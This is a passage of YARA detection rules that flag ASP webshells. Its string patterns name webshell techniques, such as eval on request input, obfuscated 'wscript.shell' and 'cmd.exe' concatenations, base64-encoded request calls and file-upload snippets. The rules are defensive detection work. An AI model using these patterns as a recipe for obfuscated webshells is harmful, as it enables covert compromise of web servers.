		$asp_obf1 = "/*-/*-*/" wide ascii
		$asp_obf2 = "u\"+\"n\"+\"s" wide ascii
		$asp_obf3 = "\"e\"+\"v" wide ascii
		$asp_obf4 = "a\"+\"l\"" wide ascii
		$asp_obf5 = "\"+\"(\"+\"" wide ascii
		$asp_obf6 = "q\"+\"u\"" wide ascii
		$asp_obf7 = "\"u\"+\"e" wide ascii
		$asp_obf8 = "/*//*/" wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_payload0 = "eval_r" fullword nocase wide ascii
		$asp_payload1 = /\beval\s/ nocase wide ascii
		$asp_payload2 = /\beval\(/ nocase wide ascii
		$asp_payload3 = /\beval\"\"/ nocase wide ascii
		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
		$asp_multi_payload_one2 = "addcode" fullword wide ascii
		$asp_multi_payload_one3 = /\.run\b/ wide ascii
		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
		$asp_multi_payload_three2 = "Process" fullword wide ascii
		$asp_multi_payload_three3 = ".Start" wide ascii
		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
		$asp_multi_payload_five2 = ".Start" nocase wide ascii
		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
		$asp_always_write1 = /\.write/ nocase wide ascii
		$asp_always_write2 = /\.swrite/ nocase wide ascii
		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
		$asp_cr_write1 = "CreateObject(" nocase wide ascii
		$asp_cr_write2 = "CreateObject (" nocase wide ascii
		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
		$o4 = "\\x8" wide ascii
		$o5 = "\\x9" wide ascii
		$o6 = "\\61" wide ascii
		$o7 = "\\44" wide ascii
		$o8 = "\\112" wide ascii
		$o9 = "\\120" wide ascii
		$m_multi_one1 = "Replace(" wide ascii
		$m_multi_one2 = "Len(" wide ascii
		$m_multi_one3 = "Mid(" wide ascii
		$m_multi_one4 = "mid(" wide ascii
		$m_multi_one5 = ".ToString(" wide ascii
		$m_fp1 = "Author: Andre Teixeira - andret@microsoft.com"
		$m_fp2 = "DataBinder.Eval(Container.DataItem" ascii wide
		$oo1 = /\w\"&\"\w/ wide ascii
		$oo2 = "*/\").Replace(\"/*" wide ascii

	condition:
		filesize < 100KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( ( ( any of ( $asp_payload* ) or all of ( $asp_multi_payload_one* ) or all of ( $asp_multi_payload_two* ) or all of ( $asp_multi_payload_three* ) or all of ( $asp_multi_payload_four* ) or all of ( $asp_multi_payload_five* ) ) or ( any of ( $asp_always_write* ) and ( any of ( $asp_write_way_one* ) and any of ( $asp_cr_write* ) ) or ( any of ( $asp_streamwriter* ) ) ) ) and ( ( ( filesize < 100KB and ( ( #o4 + #o5 + #o6 + #o7 + #o8 + #o9 ) > 20 ) ) or ( filesize < 5KB and ( ( #o4 + #o5 + #o6 + #o7 + #o8 + #o9 ) > 5 or ( ( #m_multi_one1 + #m_multi_one2 + #m_multi_one3 + #m_multi_one4 + #m_multi_one5 ) > 3 ) ) ) or ( filesize < 700 and ( ( #o4 + #o5 + #o6 + #o7 + #o8 + #o9 ) > 3 or ( #m_multi_one1 + #m_multi_one2 + #m_multi_one3 + #m_multi_one4 + #m_multi_one5 ) > 2 ) ) ) or any of ( $asp_obf* ) ) or ( ( filesize < 100KB and ( ( #oo1 ) > 2 or $oo2 ) ) or ( filesize < 25KB and ( ( #oo1 ) > 1 ) ) or ( filesize < 1KB and ( ( #oo1 ) > 0 ) ) ) ) and not any of ( $m_fp* )
}

rule WEBSHELL_ASP_Generic_Eval_On_Input
{
	meta:
		description = "Generic ASP webshell which uses any eval/exec function directly on user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "d6b96d844ac395358ee38d4524105d331af42ede"
		hash = "9be2088d5c3bfad9e8dfa2d7d7ba7834030c7407"
		hash = "a1df4cfb978567c4d1c353e988915c25c19a0e4a"
		hash = "069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6"
		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"

	strings:
		$payload_and_input0 = /\beval_r\s{0,20}\(Request\(/ nocase wide ascii
		$payload_and_input1 = /\beval[\s\(]{1,20}request[.\(\[]/ nocase wide ascii
		$payload_and_input2 = /\bexecute[\s\(]{1,20}request\(/ nocase wide ascii
		$payload_and_input4 = /\bExecuteGlobal\s{1,20}request\(/ nocase wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword

	condition:
		( filesize < 1100KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and any of ( $payload_and_input* ) ) or ( filesize < 100 and any of ( $payload_and_input* ) )
}

rule WEBSHELL_ASP_Nano
{
	meta:
		description = "Generic ASP webshell which uses any eval/exec function"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/13"
		modified = "2023-04-05"
		hash = "3b7910a499c603715b083ddb6f881c1a0a3a924d"
		hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
		hash = "22345e956bce23304f5e8e356c423cee60b0912c"
		hash = "c84a6098fbd89bd085526b220d0a3f9ab505bcba"
		hash = "b977c0ad20dc738b5dacda51ec8da718301a75d7"
		hash = "c69df00b57fd127c7d4e0e2a40d2f6c3056e0af8bfb1925938060b7e0d8c630f"
		hash = "f3b39a5da1cdde9acde077208e8e5b27feb973514dab7f262c7c6b2f8f11eaa7"
		hash = "0e9d92807d990144c637d8b081a6a90a74f15c7337522874cf6317092ea2d7c1"
		hash = "ebbc485e778f8e559ef9c66f55bb01dc4f5dcce9c31ccdd150e2c702c4b5d9e1"
		hash = "44b4068bfbbb8961e16bae238ad23d181ac9c8e4fcb4b09a66bbcd934d2d39ee"
		hash = "c5a4e188780b5513f34824904d56bf6e364979af6782417ccc5e5a8a70b4a95a"
		hash = "41a3cc668517ec207c990078bccfc877e239b12a7ff2abe55ff68352f76e819c"
		hash = "2faad5944142395794e5e6b90a34a6204412161f45e130aeb9c00eff764f65fc"
		hash = "d0c5e641120b8ea70a363529843d9f393074c54af87913b3ab635189fb0c84cb"
		hash = "28cfcfe28419a399c606bf96505bc68d6fe05624dba18306993f9fe0d398fbe1"
		id = "5f2f24c2-159d-51e1-80d9-11eeb77e8760"

	strings:
		$susasp1 = "/*-/*-*/"
		$susasp2 = "(\"%1"
		$susasp3 = /[Cc]hr\([Ss]tr\(/
		$susasp4 = "cmd.exe"
		$susasp5 = "cmd /c"
		$susasp7 = "FromBase64String"
		$susasp8 = "UmVxdWVzdC"
		$susasp9 = "cmVxdWVzdA"
		$susasp10 = "/*//*/"
		$susasp11 = "(\"/*/\""
		$susasp12 = "eval(eval("
		$fp1 = "eval a"
		$fp2 = "'Eval'"
		$fp3 = "Eval(\""
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_payload0 = "eval_r" fullword nocase wide ascii
		$asp_payload1 = /\beval\s/ nocase wide ascii
		$asp_payload2 = /\beval\(/ nocase wide ascii
		$asp_payload3 = /\beval\"\"/ nocase wide ascii
		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
		$asp_multi_payload_one2 = "addcode" fullword wide ascii
		$asp_multi_payload_one3 = /\.run\b/ wide ascii
		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
		$asp_multi_payload_three2 = "Process" fullword wide ascii
		$asp_multi_payload_three3 = ".Start" wide ascii
		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
		$asp_multi_payload_five2 = ".Start" nocase wide ascii
		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
		$asp_always_write1 = /\.write/ nocase wide ascii
		$asp_always_write2 = /\.swrite/ nocase wide ascii
		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
		$asp_cr_write1 = "CreateObject(" nocase wide ascii
		$asp_cr_write2 = "CreateObject (" nocase wide ascii
		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
		$asp_streamwriter2 = "filestream" fullword nocase wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( ( any of ( $asp_payload* ) or all of ( $asp_multi_payload_one* ) or all of ( $asp_multi_payload_two* ) or all of ( $asp_multi_payload_three* ) or all of ( $asp_multi_payload_four* ) or all of ( $asp_multi_payload_five* ) ) or ( any of ( $asp_always_write* ) and ( any of ( $asp_write_way_one* ) and any of ( $asp_cr_write* ) ) or ( any of ( $asp_streamwriter* ) ) ) ) and not any of ( $fp* ) and ( filesize < 200 or ( filesize < 1000 and any of ( $susasp* ) ) )
}

rule WEBSHELL_ASP_Encoded
{
	meta:
		description = "Webshell in VBscript or JScript encoded using *.Encode plus a suspicious string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/03/14"
		modified = "2023-07-05"
		hash = "1bc7327f9d3dbff488e5b0b69a1b39dcb99b3399"
		hash = "9885ee1952b5ad9f84176c9570ad4f0e32461c92"
		hash = "27a020c5bc0dbabe889f436271df129627b02196"
		hash = "f41f8c82b155c3110fc1325e82b9ee92b741028b"
		hash = "af40f4c36e3723236c59dc02f28a3efb047d67dd"
		id = "67c0e1f6-6da5-569c-ab61-8b8607429471"

	strings:
		$encoded1 = "VBScript.Encode" nocase wide ascii
		$encoded2 = "JScript.Encode" nocase wide ascii
		$data1 = "#@~^" wide ascii
		$sus1 = "shell" nocase wide ascii
		$sus2 = "cmd" fullword wide ascii
		$sus3 = "password" fullword wide ascii
		$sus4 = "UserPass" fullword wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword

	condition:
		filesize < 500KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and any of ( $encoded* ) and any of ( $data* ) and ( any of ( $sus* ) or ( filesize < 20KB and #data1 > 4 ) or ( filesize < 700 and #data1 > 0 ) )
}

rule WEBSHELL_ASP_Encoded_AspCoding
{
	meta:
		description = "ASP Webshell encoded using ASPEncodeDLL.AspCoding"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/03/14"
		modified = "2023-07-05"
		score = 60
		hash = "7cfd184ab099c4d60b13457140493b49c8ba61ee"
		hash = "f5095345ee085318235c11ae5869ae564d636a5342868d0935de7582ba3c7d7a"
		id = "788a8dae-bcb8-547c-ba17-e1f14bc28f34"

	strings:
		$encoded1 = "ASPEncodeDLL" fullword nocase wide ascii
		$encoded2 = ".Runt" nocase wide ascii
		$encoded3 = "Request" fullword nocase wide ascii
		$encoded4 = "Response" fullword nocase wide ascii
		$data1 = "AspCoding.EnCode" wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword

	condition:
		filesize < 500KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and all of ( $encoded* ) and any of ( $data* )
}

rule WEBSHELL_ASP_By_String
{
	meta:
		description = "Known ASP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021-01-13"
		modified = "2023-04-05"
		hash = "f72252b13d7ded46f0a206f63a1c19a66449f216"
		hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
		hash = "56a54fe1f8023455800fd0740037d806709ffb9ece1eb9e7486ad3c3e3608d45"
		hash = "4ef5d8b51f13b36ce7047e373159d7bb42ca6c9da30fad22e083ab19364c9985"
		hash = "e90c3c270a44575c68d269b6cf78de14222f2cbc5fdfb07b9995eb567d906220"
		hash = "8a38835f179e71111663b19baade78cc3c9e1f6fcc87eb35009cbd09393cbc53"
		hash = "f2883e9461393b33feed4139c0fc10fcc72ff92924249eb7be83cb5b76f0f4ee"
		hash = "10cca59c7112dfb1c9104d352e0504f842efd4e05b228b6f34c2d4e13ffd0eb6"
		hash = "ed179e5d4d365b0332e9ffca83f66ee0afe1f1b5ac3c656ccd08179170a4d9f7"
		hash = "ce3273e98e478a7e95fccce0a3d3e8135c234a46f305867f2deacd4f0efa7338"
		hash = "65543373b8bd7656478fdf9ceeacb8490ff8976b1fefc754cd35c89940225bcf"
		hash = "de173ea8dcef777368089504a4af0804864295b75e51794038a6d70f2bcfc6f5"
		id = "4705b28b-2ffa-53d1-b727-1a9fc2a7dd69"

	strings:
		$asp_string1 = "tseuqer lave" wide ascii
		$asp_string2 = ":eval request(" wide ascii
		$asp_string3 = ":eval request(" wide ascii
		$asp_string4 = "SItEuRl=\"http://www.zjjv.com\"" wide ascii
		$asp_string5 = "ServerVariables(\"HTTP_HOST\"),\"gov.cn\"" wide ascii
		$asp_string6 = /e\+.-v\+.-a\+.-l/ wide ascii
		$asp_string7 = "r+x-e+x-q+x-u" wide ascii
		$asp_string8 = "add6bb58e139be10" fullword wide ascii
		$asp_string9 = "WebAdmin2Y.x.y(\"" wide ascii
		$asp_string10 = "<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[" wide ascii
		$asp_string11 = "<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(" wide ascii
		$asp_string12 = "UmVxdWVzdC5JdGVtWyJ" wide ascii
		$asp_string13 = "UAdgBhAGwAKA" wide ascii
		$asp_string14 = "lAHYAYQBsACgA" wide ascii
		$asp_string15 = "ZQB2AGEAbAAoA" wide ascii
		$asp_string16 = "IAZQBxAHUAZQBzAHQAKA" wide ascii
		$asp_string17 = "yAGUAcQB1AGUAcwB0ACgA" wide ascii
		$asp_string18 = "cgBlAHEAdQBlAHMAdAAoA" wide ascii
		$asp_string19 = "\"ev\"&\"al" wide ascii
		$asp_string20 = "\"Sc\"&\"ri\"&\"p" wide ascii
		$asp_string21 = "C\"&\"ont\"&\"" wide ascii
		$asp_string22 = "\"vb\"&\"sc" wide ascii
		$asp_string23 = "\"A\"&\"do\"&\"d" wide ascii
		$asp_string24 = "St\"&\"re\"&\"am\"" wide ascii
		$asp_string25 = "*/eval(" wide ascii
		$asp_string26 = "\"e\"&\"v\"&\"a\"&\"l" nocase
		$asp_string27 = "<%eval\"\"&(\"" nocase wide ascii
		$asp_string28 = "6877656D2B736972786677752B237E232C2A" wide ascii
		$asp_string29 = "ws\"&\"cript.shell" wide ascii
		$asp_string30 = "SerVer.CreAtEoBjECT(\"ADODB.Stream\")" wide ascii
		$asp_string31 = "ASPShell - web based shell" wide ascii
		$asp_string32 = "<++ CmdAsp.asp ++>" wide ascii
		$asp_string33 = "\"scr\"&\"ipt\"" wide ascii
		$asp_string34 = "Regex regImg = new Regex(\"[a-z|A-Z]{1}:\\\\\\\\[a-z|A-Z| |0-9|\\u4e00-\\u9fa5|\\\\~|\\\\\\\\|_|{|}|\\\\.]*\");" wide ascii
		$asp_string35 = "\"she\"&\"ll." wide ascii
		$asp_string36 = "LH\"&\"TTP" wide ascii
		$asp_string37 = "<title>Web Sniffer</title>" wide ascii
		$asp_string38 = "<title>WebSniff" wide ascii
		$asp_string39 = "cript\"&\"ing" wide ascii
		$asp_string40 = "tcejbOmetsySeliF.gnitpircS" wide ascii
		$asp_string41 = "tcejbOetaerC.revreS" wide ascii
		$asp_string42 = "This file is part of A Black Path Toward The Sun (\"ABPTTS\")" wide ascii
		$asp_string43 = "if ((Request.Headers[headerNameKey] != null) && (Request.Headers[headerNameKey].Trim() == headerValueKey.Trim()))" wide ascii
		$asp_string44 = "if (request.getHeader(headerNameKey).toString().trim().equals(headerValueKey.trim()))" wide ascii
		$asp_string45 = "Response.Write(Server.HtmlEncode(ExcutemeuCmd(txtArg.Text)));" wide ascii
		$asp_string46 = "\"c\" + \"m\" + \"d\"" wide ascii
		$asp_string47 = "\".\"+\"e\"+\"x\"+\"e\"" wide ascii
		$asp_string48 = "Tas9er" fullword wide ascii
		$asp_string49 = "<%@ Page Language=\"\\u" wide ascii
		$asp_string50 = "BinaryRead(\\u" wide ascii
		$asp_string51 = "Request.\\u" wide ascii
		$asp_string52 = "System.Buffer.\\u" wide ascii
		$asp_string53 = "System.Net.\\u" wide ascii
		$asp_string54 = ".\\u0052\\u0065\\u0066\\u006c\\u0065\\u0063\\u0074\\u0069\\u006f\\u006e\"" wide ascii
		$asp_string55 = "\\u0041\\u0073\\u0073\\u0065\\u006d\\u0062\\u006c\\u0079.\\u004c\\u006f\\u0061\\u0064" wide ascii
		$asp_string56 = "\\U00000052\\U00000065\\U00000071\\U00000075\\U00000065\\U00000073\\U00000074[\"" wide ascii
		$asp_string57 = "*/\\U0000" wide ascii
		$asp_string58 = "\\U0000FFFA" wide ascii
		$asp_string59 = "\"e45e329feb5d925b\"" wide ascii
		$asp_string60 = ">POWER!shelled<" wide ascii
		$asp_string61 = "@requires xhEditor" wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
